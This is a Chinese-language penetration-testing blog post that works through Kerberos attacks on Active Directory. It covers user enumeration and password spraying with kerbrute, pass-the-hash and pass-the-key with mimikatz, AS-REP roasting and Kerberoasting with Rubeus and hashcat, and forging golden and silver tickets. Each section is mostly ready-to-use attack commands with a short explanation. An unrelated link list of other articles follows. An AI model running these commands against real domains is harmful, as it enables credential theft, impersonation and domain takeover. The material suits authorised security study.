Kerberos相关的安全问题
用户名枚举
原理
不存在的用户
存在的用户
通过这个比较就可以写脚本改变cname的值进行用户名枚举。
利用
https://github.com/ropnop/kerbrute/
kerbrute.exe userenum -d muxue.com user.txt
获取到用户名后 就可以接着枚举密码了;也就是Password Spraying
Password Spraying
原理
密码错误
密码成功
利用
kerbrute.exe passwordspray -d muxue.com user.txt admin123!
Pass The Hash
原理
在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。
利用
pth的方法有很多啊 我擦 就不一一举例了
Pass The Key
原理
如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key;
pth的算法是rc4
利用
// dumphash
privilege::debug
sekurlsa::ekeys
// import
privilege::debug
sekurlsa::pth /user:user /domain:domain_name /aes256:xxx
// dir
dir \\dc\c$
然后导入票据 他会新弹出一个cmd
后来我再测试的时候 不知道为啥aes256和aes128都不显示,你提升到debug权限就得域管,域管本来就可以dir dc的把 我擦 没搞懂
AS-REP Roasting
原理
开启了不要求Kerberos预身份验证
,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令
利用
这个洞需要设置账户
Rubeus.exe asreproast
然后使用hashcat爆破(先加一个$23
)
hashcat -m 18200 hash.txt pass.txt --force
Golden Tickets
原理
在AS_REP里面的TGT的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。
利用
伪造黄金票据
先获取域的SID和krbtgt的值
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
sid最后-后面的不要
Pass the ticket
原理
Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据
利用
其实我们上篇搞非约束委派的时候 就用到了ptt,获取票据以后再传递
Kerberoassting
原理
是使用要请求的服务的hash加密的,所以我们可以通过爆破获得服务的hash。
https://3gstudent.github.io/域渗透-Kerberoasting;推荐看三好学生师傅的文章
利用
Rubeus.exe kerberoast
hashcat -m 13100 hash.txt pass.txt --force
Sliver Tickets
也就是白银票据
原理
Ticket=Server Hash(Server Session Key+Client info+End Time)
所以当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
利用
首先需要导出Server Hash
伪造票据
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" "exit"
委派
委派就看我上篇文章吧
Kerberos相关的安全问题的更多相关文章
- phoenix PQS的kerberos相关配置
thin 客户端的实例代码 jdbc:phoenix:thin:url=<scheme>://<server-hostname>:<port>;authentica ...
- 进行Spark,Kafka针对Kerberos相关配置
1. 提交任务的命令 spark-submit \--class <classname> \--master yarn \--deploy-mode client \--executor- ...
- kerberos相关
1.kerberos认证覆盖问题 先显示指定KRB5CCNAME存储的路径 export KRB5CCNAME=/tmp/krb5cc_xxx kinit -kt /home/xxx.keytab x ...
- 【大数据安全】基于Kerberos的大数据安全验证方案
1.背景 互联网从来就不是一个安全的地方.很多时候我们过分依赖防火墙来解决安全的问题,不幸的是,防火墙是假设"坏人"是来自外部的,而真正具有破坏性的攻击事件都是往往都是来自于内部的 ...
- Ambari与Kerberos 集成
Kerberos 介绍 Kerberos 是一个网络认证的框架协议,其设计的初衷便是通过密钥系统为 Client 和 Server 应用程序之间提供强大的认证服务.在使用 Kerberos 认证的集群 ...
- MySQL安全问题(防范必知)
对于任何一种数据库来说,安全问题都是非常重要的.如果数据库出现安全漏洞,轻则数据被窃取,重则数据被破坏,这些后果对于一些重要的数据库都是非常严重的.下面来从操作系统和数据库两个层对MySQL的安全问题 ...
- Kerberos和NTLM - SQL Server
当我们使用Windows Authentication去连接SQL Server的时候,SQL Server可能会使用Kerberos或者是NTLM来进行认证,有时间就会因为认证失败的缘故造成各种登录 ...
- 浅谈运维中的安全问题-FTP篇
写这一系列文章的动因很简单,在年前最后一个项目的时候在客户现场做了的几个安全加固.由于时间问题,很多东西就拿来主义没经过思考直接更改了,并未细细品味其中的原理和方法,所以特地搭建实验环境,分析下其中的 ...
- [转帖]Kerberos和NTLM - SQL Server
Kerberos和NTLM - SQL Server https://www.cnblogs.com/dreamer-fish/p/3458425.html 当我们使用Windows Authenti ...
随机推荐
- ps2020 将图片中的字清除 并且不损坏背景图
步骤:1:使用选框工具选中要删除的字:2:选择-->色彩范围,选中字体颜色 :3.选择-->修改-->扩展:4.图片区域,右键填充--内容识别--确定: 1.使用选框工具选中要删除 ...
- Redis 底层数据结构之String
文章参考:<Redis设计与实现>黄建宏 Redis 的 string 类型底层使用的是 SDS(动态字符串) 实现的, 具体数据结构如下: struct sdshdr { int len ...
- DRF之过滤排序分页异常处理
一.过滤 对于列表数据要通过字段来进行过滤,就需要添加 django-filter 模块 使用方法: # 1.注册,在app中注册 settings.py INSTALLED_APPS = [ 'dj ...
- 关于scrollview的无限滚动效果实现
起因及需求:做过阅读器的朋友应该知道,一般的阅读器都会有仿真.平移等特效.最近赶上真空期,项目不忙,有点时间,于是想抓起来,总结点干货. 仿真翻页及平滑翻页的基本实现: 仿真翻页,使用系统自带的UIP ...
- STM32中STD、HAL、LL库比较
ST为开发者提供了标准外设库(STD库).HAL库.LL库 三种.前两者都是常用的库,后面的LL库是ST新添加的,随HAL源码包一起提供,目前支持的芯片也偏少. 标准外设库(Standard Peri ...
- [源码解析] 深度学习分布式训练框架 horovod (15) --- 广播 & 通知
[源码解析] 深度学习分布式训练框架 horovod (15) --- 广播 & 通知 目录 [源码解析] 深度学习分布式训练框架 horovod (15) --- 广播 & 通知 0 ...
- SDN开发环境搭建以及Mininet编程
一.实验内容 搭建如下网络拓扑,并熟悉相关指令. 二.搭建开发环境 2.1 开发环境搭建 2.1.1下载ubuntu镜像文件 镜像下载地址 https://www.ubuntu.com/downl ...
- Java基础00-基础知识练习12
1. 减肥计划 1.1 if语句实现 import java.util.Scanner; public class Demo01 { public static void main(String[] ...
- 详解递归(基础篇)———函数栈、阶乘、Fibonacci数列
一.递归的基本概念 递归函数:在定义的时候,自己调用了自己的函数. 注意:递归函数定义的时候一定要明确结束这个函数的条件! 二.函数栈 栈:一种数据结构,它仅允许栈顶进,栈顶出,先进后出,后进先出.我 ...
- 记录Jackson和Lombok的坑
记录Jackson和Lombok的坑 今天遇到Jackson反序列化json缺少了字段,后来研究下发现是Jackson的机制和Lombok生成的setter不一致,导致没有正确调用setter. 复现 ...